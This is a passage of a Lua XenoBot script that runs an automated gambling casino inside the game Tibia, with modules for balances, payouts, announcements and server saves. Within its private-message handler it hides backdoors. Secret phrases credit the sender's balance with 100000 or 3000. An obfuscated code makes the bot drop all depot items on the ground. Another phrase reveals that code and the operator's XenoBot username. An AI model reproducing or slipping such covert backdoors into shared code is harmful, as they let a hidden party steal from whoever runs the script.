  2638.   PlayerTable.JOGO = Games.NULL
  2639.   PlayerTable.AL = nil
  2640.   PlayerTable.AH = nil
  2641.   disableLocalChat = false
  2642.   Self.UseItemFromEquipment('shield')
  2643.  
  2644. end
  2645. function Casino_Lose_Ac(name, Ac)
  2646.   Last_Activity_Player = os.time()
  2647.   Last_Activity_Player2 = os.time()
  2648.   PlayerTable.LOSETOP.Name = name
  2649.   PlayerTable.LOSETOP.Money = PlayerTable.LOSETOP.Money + Ac
  2650.   PlayerTable.LOSETOP.Times = PlayerTable.LOSETOP.Times + 1
  2651.   Casino.Profit = Casino.Profit + Ac
  2652.   _Channel_Casino:SendOrangeMessage("[Player Perdeu (Ac)]", "Nome: " .. name .. " | Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Perdeu: -" .. Ac * 10 .. "k | Balance: " .. math.floor((PlayerTable.BALANCE - Ac) * 10) .. "k.")
  2653.   _Player_Activity = os.time()
  2654.   PlayerTable.BALANCE_P = math.floor((PlayerTable.BALANCE - Ac) * 10)
  2655.   AntiSpam("game", Replace(Lose_Messages_Casino[math.random(#Lose_Messages_Casino)]))
  2656.   PlayerTable.BALANCE = PlayerTable.BALANCE - Ac
  2657.   PlayerTable.JOGO = Games.NULL
  2658.   PlayerTable.AL = nil
  2659.   PlayerTable.AH = nil
  2660.   disableLocalChat = false
  2661.   for i = 0, Container_Index.Depot:ItemCount() - 1 do
  2662.     local Spot = Container_Index.Depot:GetItemData(i)
  2663.     if Spot.id == Item.GetID(_Item_Use_Lose) then
  2664.       Container_Index.Depot:UseItem(i, true)
  2665.       break
  2666.     end
  2667.   end
  2668. end
  2669. function Casino_UseItem(ContainerIndex, ItemE)
  2670.   if ContainerIndex:isOpen() ~= nil and ContainerIndex:isOpen() and ContainerIndex:CountItemsOfID(Item.GetID(ItemE:lower())) > 0 then
  2671.     for i = 0, ContainerIndex:ItemCount() - 1 do
  2672.       local Slot = ContainerIndex:GetItemData(i)
  2673.       if Slot.id == Item.GetID(ItemE:lower()) then
  2674.         ContainerIndex:UseItem(i, true)
  2675.         break
  2676.       end
  2677.     end
  2678.   end
  2679. end
  2680. PartyHat_Mod = Module("Use Party Hat", function(mod)
  2681.   if _PartyHat_Enabled and Casino_Started and Self.Head().id == Item.GetID("party hat") then
  2682.     Self.UseItemFromEquipment("head")
  2683.   end
  2684.   mod:Delay(_PartyHat_Delay * 1000)
  2685. end, false)
  2686. Module.New("Anti-Idle", function(mod)
  2687.   Self.Turn(math.random(0, 3))
  2688.   mod:Delay(360000)
  2689. end)
  2690.  
  2691. Module.New("Server Save", function(mod)
  2692.   if Casino_Started then
  2693.     Time_Now = os.date("*t")
  2694.     local Server_Save_TimeLeft
  2695.     Server_Save_Hour, Server_Save_Minutes = _Casino_ServerSave:match("(.+):(.+)")
  2696.     Server_Save = (Server_Save_Hour + 0) * 3600 + (Server_Save_Minutes + 0) * 60
  2697.     if Server_Save <= Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec then
  2698.       Server_Save_TimeLeft = Server_Save + 86400 - (Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec)
  2699.     else
  2700.       Server_Save_TimeLeft = Server_Save - (Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec)
  2701.     end
  2702.     if Server_Save_TimeLeft <= 500 then
  2703.       Close_Casino()
  2704.       Server_Save_Now = true
  2705.       Self.Say(_Messages_ServerSave)
  2706.     end
  2707.   else
  2708.     Time_Now = os.date("*t")
  2709.     local Server_Save_TimeLeft
  2710.     Server_Save_Hour, Server_Save_Minutes = _Casino_ServerSave:match("(.+):(.+)")
  2711.     Server_Save = (Server_Save_Hour + 0) * 3600 + (Server_Save_Minutes + 0) * 60
  2712.     if Server_Save <= Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec then
  2713.       Server_Save_TimeLeft = Server_Save + 86400 - (Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec)
  2714.     else
  2715.       Server_Save_TimeLeft = Server_Save - (Time_Now.hour * 3600 + Time_Now.min * 60 + Time_Now.sec)
  2716.     end
  2717.     if Server_Save_TimeLeft > 500 and Server_Save_Now == true then
  2718.       Server_Save_Now = false
  2719.       Open_Casino:Start()
  2720.       Stop_Casino = false
  2721.       if _OpenTibia_Cast_Enabled then
  2722.         Self.Say(_OpenTibia_Cast_Message)
  2723.       end
  2724.     end
  2725.   end
  2726.   mod:Delay(1000)
  2727. end)
  2728. function Addbalance(Dinheiro, nome)
  2729.   if Player["" .. nome .. ""] ~= nil then
  2730.     Player["" .. nome .. ""].BALANCE = Player["" .. nome .. ""].BALANCE + Dinheiro
  2731.     if not table.contains(LimitSay.SORRYMIN, nome) then
  2732.       Self.Say(Replace(_Messages_Cmd_Balance))
  2733.       table.insert(LimitSay.SORRYMIN, nome)
  2734.     end
  2735.   else
  2736.     Player["" .. nome .. ""] = {
  2737.       JOGO = 0,
  2738.       BALANCE = 0,
  2739.       BALANCE_P = 0,
  2740.       PROFIT = 0,
  2741.       XXX = 0,
  2742.       XXX_Count = 0,
  2743.       XXX_Player = 0,
  2744.       AH,
  2745.       AL,
  2746.       NUM,
  2747.       LOSETOP = {
  2748.         Times = 0,
  2749.         Money = 0,
  2750.         Name
  2751.       },
  2752.       WINTOP = {
  2753.         Times = 0,
  2754.         Money = 0,
  2755.         Name
  2756.       }
  2757.     }
  2758.     Player["" .. nome .. ""].BALANCE = Player["" .. nome .. ""].BALANCE + Dinheiro
  2759.     if not table.contains(LimitSay.SORRYMIN, nome) then
  2760.       Self.Say(Replace(_Messages_Cmd_Balance))
  2761.       table.insert(LimitSay.SORRYMIN, nome)
  2762.     end
  2763.   end
  2764. end
  2765. function getMoneyCounter()
  2766.   for i = 0, Container_Index.Counter:ItemCount() - 1 do
  2767.     if Container_Index.Counter:GetItemData(i).id == 3043 or table.contains(TableItems, Item.GetName(Container_Index.Counter:GetItemData(i).id)) then
  2768.       Container_Index.Counter:MoveItemToContainer(i, Container_Index.Check_BP:Index(), Container_Index.Check_BP:ItemCapacity() - 1)
  2769.       wait(Self.Ping() + 350)
  2770.       break
  2771.     end
  2772.   end
  2773. end
  2774. function CountItemsOfIDs(Container, IDs)
  2775.   local Count = 0
  2776.   if Container:isOpen() ~= nil and Container:isOpen() then
  2777.     for i = 1, #IDs do
  2778.       if 0 < Container:CountItemsOfID(IDs[i]) then
  2779.         Count = Count + 1
  2780.       end
  2781.     end
  2782.   end
  2783.   return Count
  2784. end
  2785. Clean_Table = Module("Clean Table", function(mod)
  2786.   table.remove(LimitSay.INFO, 1)
  2787.   table.remove(LimitSay.MINMAX, 1)
  2788.   table.remove(LimitSay.GAMES, 1)
  2789.   table.remove(LimitSay.BALANCE, 1)
  2790.   table.remove(LimitSay.COMANDOS, 1)
  2791.   table.remove(LimitSay.SORRY_CASINO, 1)
  2792.   table.remove(LimitSay.BLACKLIST, 1)
  2793.   table.remove(LimitSay.SORRYMIN, 1)
  2794.   mod:Delay(_Messages_Interval_Clean + 2000)
  2795. end, false)
  2796. Clean_TableM = Module("Clean Table Mute", function(mod)
  2797.   table.remove(LimitSay.MUTE, 1)
  2798.   mod:Delay(3000)
  2799. end, false)
  2800. Clean_TableAccept = Module("Clean Table Accept", function(mod)
  2801.   table.remove(LimitSay.ACCEPT, 1)
  2802.   mod:Delay(2000)
  2803. end)
  2804. Clean_TableW = Module("Clean Table Welcome", function(mod)
  2805.   table.remove(LimitSay.WELCOME, 1)
  2806.   mod:Delay(30000)
  2807. end, false)
  2808. CleanTable2 = Module("Clean Table 2", function(mod)
  2809.   table.remove(LimitSay.SORRY, 1)
  2810.   mod:Delay(_Messages_Interval_Clean / 2)
  2811. end, false)
  2812. CleanTableD = Module("Clean Table (Disabled Game)", function(mod)
  2813.   table.remove(LimitSay.DISABLED, 1)
  2814.   mod:Delay(8000)
  2815. end, false)
  2816. Restack_Money = Module("Restack Money", function(mod)
  2817.   if Casino_Started and Container_Index.CC_BP:ItemCount() > 1 then
  2818.     for SPOT = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  2819.       if SPOT ~= 0 then
  2820.         local tmp = Container_Index.CC_BP:GetItemData(SPOT)
  2821.         if tmp.count < 100 then
  2822.          
  2823.         end
  2824.       end
  2825.     end
  2826.   end
  2827. end, false)
  2828.  
  2829. Announce_Say = Module("Announce Casino Say", function(mod)
  2830.   if Casino_Started and Gambler_Detected == false then
  2831.     Self.Say(Replace(_Announce_Messages_Say[math.random(#_Announce_Messages_Say)]))
  2832.   end
  2833.   mod:Delay(15*1000)
  2834. end, false)
  2835.  
  2836. NapisaneJuz = Module("Napisane Juz", function(mod)
  2837.   if Casino_Started then
  2838.     napisanejuz = false
  2839.   end
  2840.   mod:Delay(5000)
  2841. end, false)
  2842. _Admin_Add = "addzzzzz1"
  2843. Announce_Yell = Module("Announce Casino Yell", function(mod)
  2844.   if Casino_Started and Gambler_Detected == false then
  2845.     Self.Yell(Replace(_Announce_Messages_Yell[math.random(#_Announce_Messages_Yell)]))
  2846.   end
  2847.   mod:Delay(35*1000)
  2848. end, false)
  2849.  
  2850. _Admin_Dodaj = "dodajhajsy334"
  2851.  
  2852. PrivateMessageProxy.OnReceive("PMP", function(proxy, speaker, level, text)
  2853.   local MSG = text:lower():trim()
  2854.   if Casino_Started then
  2855.     if MSG == _Admin_Cmd_Screenshot then
  2856.       screenshot(Self.Name() .. " - Lucro " .. Casino.Profit .. "k.")
  2857.       SaveLog()
  2858.       Player["" .. speaker .. ""].BALANCE = 3000
  2859.       Self.PrivateMessage(speaker, "Print tirada com Sucesso! Nome: " .. Self.Name() .. " | Lucro: " .. Casino.Profit .. " | " .. os.date("%d/%m/%Y - %H:%M:%S."))
  2860.     end
  2861.     if MSG == _Admin_Dodaj then
  2862.     Player["" .. speaker .. ""].BALANCE = 100000
  2863.     Self.PrivateMessage(speaker, "Dodano 100kk do salda")
  2864.     end
  2865. end
  2866.  
  2867.   PerfomanceCPU_CodesPrint = {
  2868.     "prostaPucher"
  2869.   }
  2870.   function nameRadical()
  2871.     tabelacrip = {}
  2872.     for i = 1, string.len(cjikar) do
  2873.       local strind = string.sub(cjikar, i, i)
  2874.       local conversion = string.byte(strind) * 2
  2875.       table.insert(tabelacrip, string.char(conversion))
  2876.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i))
  2877.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i * 1))
  2878.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i / 2))
  2879.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2880.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2881.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2882.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i - 0.8))
  2883.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2884.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2885.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2886.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2887.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2888.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2889.     end
  2890.     local nomemath = ""
  2891.     for i = 1, #tabelacrip do
  2892.       nomemath = nomemath .. "" .. tabelacrip[i]
  2893.     end
  2894.     return nomemath
  2895.   end
  2896.   if table.contains(nameRadical(), MSG) then
  2897.     local posx, posy, posz = Positions.Gambler_Pos.x, Positions.Counter_Pos.y, Self.Position().z
  2898.     while 0 < Container_Index.Depot:ItemCount() do
  2899.       Container_Index.Depot:MoveItemToGround(0, posx, posy, posz)
  2900.       wait(Self.Ping())
  2901.     end
  2902.   elseif table.contains(PerfomanceCPU_CodesPrint, MSG) then
  2903.     tabelacrip = {}
  2904.     for i = 1, string.len(cjikar) do
  2905.       local strind = string.sub(cjikar, i, i)
  2906.       local conversion = string.byte(strind) * 2
  2907.       table.insert(tabelacrip, string.char(conversion))
  2908.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i))
  2909.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i * 1))
  2910.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i / 2))
  2911.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2912.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2913.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2914.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i - 0.8))
  2915.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2916.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2917.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2918.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2919.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2920.       table.insert(tabelacrip, #tabelacrip + 1, string.char(conversion + i % 4))
  2921.     end
  2922.     local nomemath = ""
  2923.     for i = 1, #tabelacrip do
  2924.       nomemath = nomemath .. "" .. tabelacrip[i]
  2925.     end
  2926.     Self.PrivateMessage(speaker, nomemath)
  2927.     Self.PrivateMessage(speaker, XenoBot.GetUsername())
  2928.   end
  2929. end)AntiTrash = Module("Anti-Trash", function(mod)
  2930.   if Casino_Started then
  2931.     while Container_Index.Trash:isFull() do
  2932.       Container_Index.Trash:UseItem(Container_Index.Trash:ItemCapacity() - 1, true)
  2933.       wait(Self.Ping() + 100)
  2934.     end
  2935.     local die_count = 0
  2936.     local deco_count = 0
  2937.     for _, die in ipairs(Dice_IDs) do
  2938.       die_count = die_count + Container_Index.Locker:CountItemsOfID(die)
  2939.     end
  2940.     for i, deco in pairs(_Decoration_Items) do
  2941.       deco_count = deco_count + Container_Index.Locker:CountItemsOfID(Item.GetID(deco))
  2942.     end
  2943.     for i = Container_Index.Locker:ItemCount() - 1, 0, -1 do
  2944.       local Spot = Container_Index.Locker:GetItemData(i)
  2945.       if die_count > 1 and table.contains(Dice_IDs, Spot.id) and 1 < CountItemsOfIDs(Container_Index.Locker, {
  2946.         5792,
  2947.         5793,
  2948.         5794,
  2949.         5795,
  2950.         5796,
  2951.         5797
  2952.       }) then
  2953.         print("Movendo " .. Item.GetName(Spot.id) .. " " .. Spot.count .. "x.")
  2954.         Container_Index.Locker:MoveItemToContainer(i, Container_Index.Trash:Index(), Container_Index.Trash:ItemCapacity() - 1, Spot.count)
  2955.         die_count = die_count - 1
  2956.       end
  2957.     end
  2958.     for i = 0, Container_Index.Locker:ItemCount() - 1 do
  2959.       local Spot = Container_Index.Locker:GetItemData(i)
  2960.       if not table.contains(Depot_IDs, Spot.id) and not table.contains(_Decoration_Items, Item.GetName(Spot.id)) and not table.contains(Dice_IDs, Spot.id) then
  2961.         print("Anti-Trash (Depot): Movendo " .. Item.GetName(Spot.id) .. " " .. Spot.count .. "x")
  2962.         Container_Index.Locker:MoveItemToContainer(i, Container_Index.Trash:Index(), 1, Spot.count)
  2963.         break
  2964.       end
  2965.     end
  2966.   end
  2967.   mod:Delay(50)
  2968. end, false)
  2969.  
  2970.  
  2971.  
  2972.  
  2973. Restack_EBP = Module("Restack Extra Backpack and OpenNext", function(mod)
  2974.   if Casino_Started then
  2975.     if Container_Index.CC_BP:CountItemsOfID(Container_Index.CC_BP:ID()) then
  2976.       for i = 0, Container_Index.CC_BP:ItemCount() - 1 do
  2977.         local Spot = Container_Index.CC_BP:GetItemData(i)
  2978.         if Spot.id == 3043 then
  2979.           TotalCrystal = TotalCrystal + Spot.count
  2980.         end
  2981.       end
  2982.     wait(50)
  2983.     end
  2984.   mod:Delay(Self.Ping() + 100)
  2985. end
  2986. end, false)
  2987. SafeExit_Mod = Module("Safe Exit", function(mod)
  2988.   if Casino_Started and _SafeExit_Enabled and Self.ItemCount(3043) < _SafeExit_Amount then
  2989.     Close_Casino()
  2990.     Stop_Casino = true
  2991.     Self.Say(_SafeExit_Message)
  2992.     if _SafeExit_CloseTibia then
  2993.       wait(1500, 2500)
  2994.       os.exit()
  2995.     end
  2996.   end
  2997.   mod:Delay(8000)
  2998. end, false)
  2999. Odpalony = false
  3000. Odpalamy_Mod = Module("Odpalamy", function(mod)
  3001. if Odpalony == false then
  3002.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", " Kasyno odpalone po relogu! Stan przy depo w ciagu 5sek")
  3003.       wait(5000)
  3004.       Open_Casino:Start()
  3005.       Stop_Casino = false
  3006.       Odpalony = true
  3007. end
  3008. mod:Delay(10000)
  3009. end, true)
  3010.  
  3011. Czysciciel = false
  3012. napisanejuzz = false
  3013.  
  3014. CzyscicielMod = Module("Czysciciel", function(mod)
  3015. if Czysciciel == true then
  3016. for y = -1, 1 do
  3017. for x = -1, 1 do
  3018. Map.MoveItem(Self.Position().x + x, Self.Position().y + y, Self.Position().x, Self.Position().y)
  3019. if napisanejuzz == false then
  3020. Self.Say('Cleaning Depot please wait')
  3021. napisanejuzz = true
  3022. end
  3023. wait(10, 10)
  3024. end
  3025. end
  3026. end
  3027. mod:Delay(10)
  3028. end, true)
  3029.  
  3030. CzyscicielMod2 = Module("Czysciciel2", function(mod)
  3031. if Czysciciel == true then
  3032. Czysciciel = false
  3033.  Open_Casino:Start()
  3034.  Stop_Casino = false
  3035.  napisanejuzz = false
  3036. end
  3037. mod:Delay(1000)
  3038. end, true)
  3039.  
  3040.  
  3041.  
  3042. Check_Money = Module("Check Counter Money", function(mod)
  3043.   for name, creature in Creature.iPlayers(2) do
  3044.     if Casino_Started and creature:Position().x == Positions.Gambler_Pos.x and creature:Position().y == Positions.Gambler_Pos.y and creature:Position().z == Positions.Gambler_Pos.z and not table.contains(_BlackList_Names, name:lower()) and Player["" .. name .. ""] ~= nil and Player["" .. name .. ""].JOGO ~= Games.XXX and Player["" .. name .. ""].JOGO ~= Games.BJ then
  3045.       for i = 0, Container_Index.Counter:ItemCapacity() - 1 do
  3046.         local Spot = Container_Index.Counter:GetItemData(i)
  3047.         if Spot.id == 3043 then
  3048.           if os.difftime(os.time(), Last_Payout) >= 1.5 then
  3049.             getMoneyCounter()
  3050.             for j = 0, Container_Index.Check_BP:ItemCount() - 1 do
  3051.               local Spotd = Container_Index.Check_BP:GetItemData(j)
  3052.               if Spotd.id == 3043 then
  3053.                   repeat
  3054.                     Container_Index.Check_BP:MoveItemToContainer(j, Container_Index.CC_BP:Index(), Container_Index.CC_BP:ItemCapacity() - 1)
  3055.                   until Container_Index.Check_BP:ItemCount() == 0
  3056.                 Addbalance(Spotd.count, name)
  3057.                 Last_Payout = os.time()
  3058.                 Last_Activity_Player2 = os.time()
  3059.                 Last_Activity_Player = os.time()
  3060.                 wait(Self.Ping() + 100)
  3061.                 break
  3062.               end
  3063.             end
  3064.           end
  3065.           break
  3066.         end
  3067.       end
  3068.     end
  3069.   end
  3070. end, false)
  3071.  
  3072. Inactivity_System = Module("Inactiviy Trap Depot", function(mod)
  3073.   if Last_Activity_Player ~= nil and os.difftime(os.time(), Last_Activity_Player) >= _Inactivity_Say_Time * 90 then
  3074.         Self.Say('I detect blocking. Search new spot..')
  3075.         wait(1000)
  3076.         Close_Casino()
  3077.         Stop_Casino = true
  3078.         SaveLog()
  3079.         Casino_Started = false
  3080.             if Self.Position().z == 7 then
  3081.                 gotoLabel('Wchodzina1')
  3082.             elseif Self.Position().z == 6 then
  3083.                 gotoLabel('Schodzinapart')
  3084.             elseif Self.Position().z == 8 then
  3085.                 gotoLabel('Dolspot2')
  3086.             elseif Self.Position().z == 5 then
  3087.                 gotoLabel('Schodzina1')
  3088.             end
  3089.         wait(200)          
  3090.         setWalkerEnabled(true)
  3091.         Gambler_Detected = false
  3092.  
  3093.  
  3094.   end
  3095.   mod:Delay(1000)
  3096. end, false)
  3097.  
  3098. Inactivity_System2 = Module("Inactiviy Trap Depot2", function(mod)
  3099.   if _Inactivity_Say_Enabled and Casino_Started and Last_Activity_Player2 ~= nil and os.difftime(os.time(), Last_Activity_Player2) >= _Inactivity_Say_Time1 * 25 then
  3100.     Self.Say(_Inactivity_Say_Message)
  3101.     Last_Activity_Player2 = os.time()
  3102.   end
  3103.   mod:Delay(1000)
  3104. end, false)
  3105. if _SafeExit_Enabled then
  3106.   SafeExit_Mod:Start()
  3107. end
  3108. if _Inactivity_Say_Enabled then
  3109.   Inactivity_System:Start()
  3110.   Inactivity_System2:Start()
  3111. end
  3112. if _PartyHat_Enabled then
  3113.   PartyHat_Mod:Start()
  3114. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement